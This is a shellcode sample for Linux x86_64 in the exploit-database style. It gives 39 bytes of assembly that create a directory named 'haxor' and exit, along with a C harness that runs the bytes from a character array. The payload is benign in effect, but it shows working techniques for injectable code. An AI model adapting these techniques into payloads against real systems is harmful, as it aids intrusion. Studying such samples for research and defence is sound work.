/*
; Title: mkdir() 'haxor' and exit() Shellcode - 39 bytes
; Platform: linux/x86_64
; Date: 2014-06-26
; Author: Osanda Malith Jayathissa (@OsandaMalith)

section .text
        global _start

_start:

        jmp call_shellcode

shellcode:

        pop rsi
        xor rax, rax
        mov al, 0x53
        mov rdi, rsi
        mov si, 0x1ed
        syscall

        xor rax, rax
        add rax, 60
        xor rdi, rdi
        syscall

call_shellcode:

        call shellcode
        text: db 0x68, 0x61, 0x78, 0x6f, 0x72
*/
#include <stdio.h>
#include <string.h>

unsigned char code[] =  "\xeb\x1b\x5e\x48\x31\xc0\xb0\x53"
       "\x48\x89\xf7\x66\xbe\xed\x01\x0f"
      "\x05\x48\x31\xc0\x48\x83\xc0\x3c"
      "\x48\x31\xff\x0f\x05\xe8\xe0\xff"
      "\xff\xff\x68\x61\x78\x6f\x72";

int
main() {

  printf("Shellcode Length:  %d\n", (int)strlen(code));
  int (*ret)() = (int(*)())code;
  ret();

  return 0;
}